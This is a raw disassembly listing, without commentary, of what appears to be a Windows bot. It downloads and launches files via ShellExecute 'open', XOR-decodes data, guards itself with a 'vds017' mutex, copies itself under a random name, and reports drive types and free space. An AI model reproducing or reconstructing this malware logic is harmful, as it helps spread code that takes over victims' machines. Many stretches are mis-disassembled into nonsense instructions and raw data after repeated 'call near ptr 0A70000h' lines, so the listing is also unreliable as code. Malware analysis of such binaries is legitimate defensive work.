		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_42F6B8
		call	ds:dword_42F618
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_40A609
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_41F078	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_40A244
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_428100
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40A227
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		add	esp, 14h


loc_40A227:				; CODE XREF: seg000:0040A205j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		push	dword ptr [ebp-48h]
		call	sub_413375
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		insd


loc_40A244:				; CODE XREF: seg000:0040A1E5j
		xor	edi, edi
		call	ds:dword_41F044	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_413E5F
		pop	ecx
		mov	[ebp-1Ch], eax


loc_40A25E:				; CODE XREF: seg000:0040A331j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_413630
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_42F620
		cmp	[ebp-34h], esi
		jz	short loc_40A2A2
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_40A66F
		pop	ecx
		pop	ecx


loc_40A2A2:				; CODE XREF: seg000:0040A28Fj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0A70000h
		out	3Bh, al
		sti
		jnb	short loc_40A2E0
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_40A2CA
		mov	eax, [ebp+8]


loc_40A2CA:				; CODE XREF: seg000:0040A2C5j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_413690
		add	esp, 0Ch


loc_40A2E0:				; CODE XREF: seg000:0040A2BCj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_40A2ED
		cmp	edi, [ebp-3Ch]
		ja	short loc_40A337


loc_40A2ED:				; CODE XREF: seg000:0040A2E6j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_40A307
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4280B4
		jmp	short loc_40A317
; ---------------------------------------------------------------------------


loc_40A307:				; CODE XREF: seg000:0040A2F3j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_428070


loc_40A317:				; CODE XREF: seg000:0040A305j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_434698
		push	eax
		call	sub_4135AD
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_40A25E


loc_40A337:				; CODE XREF: seg000:0040A2EBj
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_40A38C
		cmp	edi, [ebp-3Ch]
		jz	short loc_40A38C
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_428028
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		add	esp, 28h


loc_40A38C:				; CODE XREF: seg000:0040A341j
					; seg000:0040A346j
		call	ds:dword_41F044	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_41F070	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_413ED3
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_40A416
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4098E7
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_40A416
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_427FEC
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		add	esp, 28h


loc_40A416:				; CODE XREF: seg000:0040A3BEj
					; seg000:0040A3D0j
		cmp	[ebp-14h], esi
		jz	loc_40A656
		cmp	dword ptr [ebp-44h], 1
		jz	loc_40A511
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_41F658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_41F658
		fstp	qword ptr [esp]
		push	offset unk_427FA0
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40A491
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		add	esp, 14h


loc_40A491:				; CODE XREF: seg000:0040A46Fj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_40A656
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_42F67C
		cmp	[ebp-30h], esi
		jnz	loc_40A656
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_427F68
		push	eax
		call	sub_4135AD
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		add	esp, 24h
		jmp	loc_40A656
; ---------------------------------------------------------------------------


loc_40A511:				; CODE XREF: seg000:0040A423j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_41F658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_41F658
		fstp	qword ptr [esp]
		push	offset unk_427F14
		push	eax
		call	sub_4135AD
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40A579
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		add	esp, 14h


loc_40A579:				; CODE XREF: seg000:0040A557j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_413630
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_413630
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_42E348
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0A70000h
		arpl	[ebx], di
		mov	dword ptr [ebp+12h], 0F66815FFh
		inc	edx
		add	al, ch
		leave
		fdiv	st(7), st
		call	dword ptr [esi-1]
		adc	eax, offset dword_41F104
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_427EC8
		jmp	short loc_40A615
; ---------------------------------------------------------------------------


loc_40A609:				; CODE XREF: seg000:0040A1C2j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_427E88


loc_40A615:				; CODE XREF: seg000:0040A607j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4135AD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_40A649
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_4110B0
		add	esp, 14h


loc_40A649:				; CODE XREF: seg000:0040A627j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_409615
		pop	ecx


loc_40A656:				; CODE XREF: seg000:0040A419j
					; seg000:0040A4A2j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_42F73C
		push	dword ptr [ebp-48h]
		call	sub_413375
		pop	ecx
		push	esi
		call	near ptr 0A70000h
; ---------------------------------------------------------------------------
		db 0D9h

; =============== S U B	R O U T	I N E =======================================



sub_40A66F	proc near		; CODE XREF: seg000:0040A29Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40A68B


loc_40A67B:				; CODE XREF: sub_40A66F+1Aj
		mov	dl, ds:byte_42823C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40A67B

locret_40A68B:				; CODE XREF: sub_40A66F+Aj
		retn
sub_40A66F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A68C	proc near		; CODE XREF: seg000:0040DC97p
					; seg000:0040DDEEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_415799
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40A68C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A6	proc near		; CODE XREF: sub_404858+45Dp
					; sub_404858+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_433AD8
		push	0
		push	edi
		call	sub_413630
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40A6CB:				; CODE XREF: sub_40A6A6+5Bj
					; sub_40A6A6+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4152F0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_415370
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40A709
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40A6CB
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40A6CB
; ---------------------------------------------------------------------------


loc_40A709:				; CODE XREF: sub_40A6A6+4Bj
		dec	esi
		mov	eax, edi


loc_40A70C:				; CODE XREF: sub_40A6A6+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40A71B
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40A70C
; ---------------------------------------------------------------------------


loc_40A71B:				; CODE XREF: sub_40A6A6+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A6A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A725	proc near		; CODE XREF: sub_40A8D1+51p
					; sub_40A8D1+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42F768
		sub	eax, 0
		jz	short loc_40A768
		dec	eax
		jz	short loc_40A762
		dec	eax
		dec	eax
		jz	short loc_40A75C
		dec	eax
		jz	short loc_40A756
		dec	eax
		jz	short loc_40A750
		dec	eax
		jz	short loc_40A74A
		mov	eax, offset word_42785C
		retn
; ---------------------------------------------------------------------------


loc_40A74A:				; CODE XREF: sub_40A725+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_40A750:				; CODE XREF: sub_40A725+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40A756:				; CODE XREF: sub_40A725+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40A75C:				; CODE XREF: sub_40A725+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40A762:				; CODE XREF: sub_40A725+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40A768:				; CODE XREF: sub_40A725+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40A725	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A76E	proc near		; CODE XREF: sub_40A7B6+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_42F604
		test	eax, eax
		jz	short loc_40A7A3
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_42F604


loc_40A7A3:				; CODE XREF: sub_40A76E+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40A76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7B6	proc near		; CODE XREF: sub_408F79+1F3p
					; sub_40A8D1+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40A76E
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A88E
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A88E
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40A88E
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_4157E0
		push	edx
		push	eax
		call	sub_40A6A6
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4157E0
		push	edx
		push	eax
		call	sub_40A6A6
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_4157E0
		push	edx
		push	eax
		call	sub_40A6A6
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_413B2A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40A8BD
; ---------------------------------------------------------------------------


loc_40A88E:				; CODE XREF: sub_40A7B6+2Cj
					; sub_40A7B6+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4135AD
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4135AD
		add	esp, 18h


loc_40A8BD:				; CODE XREF: sub_40A7B6+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40A7B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8D1	proc near		; CODE XREF: sub_40A9A3+17p
					; sub_40A9A3+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40A7B6
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4139D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40A944
		push	ebx
		push	ebx
		call	sub_40A725
		pop	ecx
		push	eax
		push	offset dword_4281C8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 14h
		jmp	short loc_40A978
; ---------------------------------------------------------------------------


loc_40A944:				; CODE XREF: sub_40A8D1+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40A725
		pop	ecx
		push	eax
		push	offset dword_428178
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_413B2A
		add	esp, 20h


loc_40A978:				; CODE XREF: sub_40A8D1+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4110B0
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_409615
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A8D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9A3	proc near		; CODE XREF: seg000:00410575p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40A9C4
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A8D1
		add	esp, 10h
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40A9C4:				; CODE XREF: sub_40A9A3+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_42F678
		lea	esi, [eax+2]
		push	esi
		call	sub_413E5F
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_42F678
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40AA1C


loc_40A9E8:				; CODE XREF: sub_40A9A3+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4139D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AA0B
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40A8D1
		add	esp, 10h


loc_40AA0B:				; CODE XREF: sub_40A9A3+54j
		push	esi
		call	sub_413DB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40A9E8


loc_40AA1C:				; CODE XREF: sub_40A9A3+43j
		push	edi
		call	sub_413ED3
		pop	ecx
		pop	edi
		pop	esi


loc_40AA25:				; CODE XREF: sub_40A9A3+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40A9A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA28	proc far		; DATA XREF: seg000:0040AB24o

var_25C		= byte ptr -25Ch
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_4348A4
		call	ds:dword_42F7A0
		call	sub_413222
		call	ds:dword_42F668
		call	ds:dword_42F668
		mov	ebx, ds:dword_41F058
		push	64h
		call	ebx ; dword_41F058
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_413630
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_413630
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_42E348
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 0A70000h
		retf
sub_40AA28	endp

; ---------------------------------------------------------------------------
		dw 858Dh
		dd 0FFFFFEA8h, 0E8575056h, 665550h, 0F0458DFDh,	0AC458D50h
		dd 0A4858D50h, 50FFFFFDh, 6A286A57h, 858D5701h,	0FFFFFEA8h
		dd 0E8575057h, 66552Ch,	74C08596h, 0FF646A14h, 0F075FFD3h
		dd 0F070358Bh, 0D6FF0041h, 0FFF475FFh, 10458BD6h, 0B080C7h
		dd 3B100000h, 48B0043h,	0A36424h, 83000000h, 0FF5708C4h
		dd 41F10415h, 5B5E5F00h
; ---------------------------------------------------------------------------


loc_40AB10:				; CODE XREF: seg000:00415C51p
		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-10h], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-8], offset sub_40AA28
		push	dword ptr [ebp-8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		cmp	ds:dword_428230, ebx
		jz	short loc_40AB49
		call	sub_408445


loc_40AB49:				; CODE XREF: seg000:0040AB42j
		mov	esi, ds:dword_41F044
		call	esi ; dword_41F044
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ds:dword_45DB88, eax
		call	esi ; dword_41F044
		push	eax
		call	sub_4135FF
		pop	ecx
		call	sub_406E9A
		push	2
		call	ds:dword_42F7B4
		push	7530h
		push	offset aVds017	; "vds017"
		push	ebx
		push	ebx
		call	near ptr 0A70000h
		fst	dword ptr [eax-18h]
		jnb	short near ptr loc_40ABDC+3
		db	66h
		add	bl, dl
		cmp	eax, 102h
		jnz	short loc_40AB9D
		push	1
		call	ds:dword_41F104	; ExitProcess


loc_40AB9D:				; CODE XREF: seg000:0040AB93j
		lea	eax, [ebp-888h]
		push	eax
		push	202h
		call	ds:dword_42F680
		cmp	eax, ebx
		mov	[ebp-8], eax
		jnz	loc_40B072
		cmp	byte ptr [ebp-888h], 2
		jnz	loc_40B06C
		xor	eax, eax
		mov	al, [ebp-887h]
		cmp	al, 2
		jnz	loc_40B06C
		mov	esi, 104h


loc_40ABDC:				; CODE XREF: seg000:0040AB89j
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		call	near ptr 0A70000h
		fmul	dword ptr [ebp-2EF7Bh]
		call	dword ptr [esi+50h]
		push	ebx
		call	near ptr 0A70000h
		scasb
		push	eax
		call	near ptr 0A70000h
		cmpsb
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	eax
		push	ebx
		lea	eax, [ebp-2F0h]
		push	ebx
		push	eax
		call	sub_4153D8
		lea	eax, [ebp-5F8h]
		push	eax
		lea	eax, [ebp-6F8h]
		push	eax
		push	offset aSS_2	; "%s%s"
		lea	eax, [ebp-4F8h]
		push	esi
		push	eax
		call	sub_413B2A
		lea	eax, [ebp-3F4h]
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		call	sub_413B80
		add	esp, 30h
		test	eax, eax
		jnz	loc_40AE00
		cmp	ds:dword_45DCF8, ebx
		mov	esi, offset byte_428290
		jz	short loc_40AC98
		push	esi
		xor	edi, edi
		call	sub_413DB0
		sub	eax, 4
		pop	ecx
		jz	short loc_40AC98


loc_40AC75:				; CODE XREF: seg000:0040AC96j
		call	sub_413609
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	ds:byte_428290[edi], dl
		inc	edi
		call	sub_413DB0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_40AC75


loc_40AC98:				; CODE XREF: seg000:0040AC65j
					; seg000:0040AC73j
		lea	eax, [ebp-3F4h]
		push	esi
		push	eax
		lea	eax, [ebp-1ECh]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4135AD
		add	esp, 10h
		lea	eax, [ebp-1ECh]
		push	eax
		call	ds:dword_41F07C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short near ptr loc_40ACD7+1
		lea	eax, [ebp-1ECh]
		push	80h
		push	eax
		call	near ptr 0A70000h


loc_40ACD7:				; CODE XREF: seg000:0040ACC4j
		lea	ecx, [ebx+41F11435h]
		add	[ebp-1EB7Bh], cl
		call	dword ptr [ebx+50h]
		lea	eax, [ebp-2F0h]
		xor	edi, edi
		push	eax


loc_40ACEF:				; CODE XREF: seg000:0040AD26j
		call	esi ; byte_428290
		test	eax, eax
		jnz	short loc_40AD28
		call	ds:dword_41F068	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_40AD28
		cmp	eax, 20h
		jz	short loc_40AD09
		cmp	eax, 5
		jnz	short loc_40AD28


loc_40AD09:				; CODE XREF: seg000:0040AD02j
		push	1
		pop	edi
		push	3A98h
		call	ds:dword_41F058	; Sleep
		lea	eax, [ebp-1ECh]
		push	ebx
		push	eax
		lea	eax, [ebp-2F0h]
		push	eax
		jmp	short loc_40ACEF
; ---------------------------------------------------------------------------


loc_40AD28:				; CODE XREF: seg000:0040ACF3j
					; seg000:0040ACFDj ...
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_4081F7
		pop	ecx
		lea	eax, [ebp-1ECh]
		push	7
		push	eax
		call	near ptr 0A70000h
		pusha
		push	10h
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		call	sub_413630
		push	44h
		lea	eax, [ebp-68h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_413630
		add	esp, 18h
		mov	[ebp-68h], esi
		mov	dword ptr [ebp-5Ch], offset byte_42E348
		mov	[ebp-38h], bx
		push	1
		pop	esi
		mov	[ebp-3Ch], esi
		call	near ptr 0A70000h
		xor	al, 50h
		push	esi
		push	100000h
		call	near ptr 0A70000h
		retn	8D8Dh
; ---------------------------------------------------------------------------
		dw 0FD10h
		dd 5051FFFFh, 0FE14858Dh, 8D50FFFFh, 0FFF67485h, 849868FFh
		dd 0E8500042h, 8805h, 8D14C483h, 8D50DC45h, 8D509845h
		dd 0FFFC0C85h, 6A5350FFh, 8D535628h, 0FFF67485h, 8D5053FFh
		dd 0FFFE1485h, 2DE850FFh, 8D006652h, 2874C085h,	0C868h
		dd 5815FF00h, 0FF0041F0h, 358BDC75h, 41F070h, 75FFD6FFh
		dd 0FFD6FFE0h, 42F66815h, 15FF5300h, 41F104h
; ---------------------------------------------------------------------------


loc_40AE00:				; CODE XREF: seg000:0040AC54j
		cmp	ds:dword_45E820, 2
		jle	short loc_40AE4C
		mov	eax, ds:dword_45E824
		push	dword ptr [eax+4]
		call	sub_413B1F
		pop	ecx
		mov	esi, eax
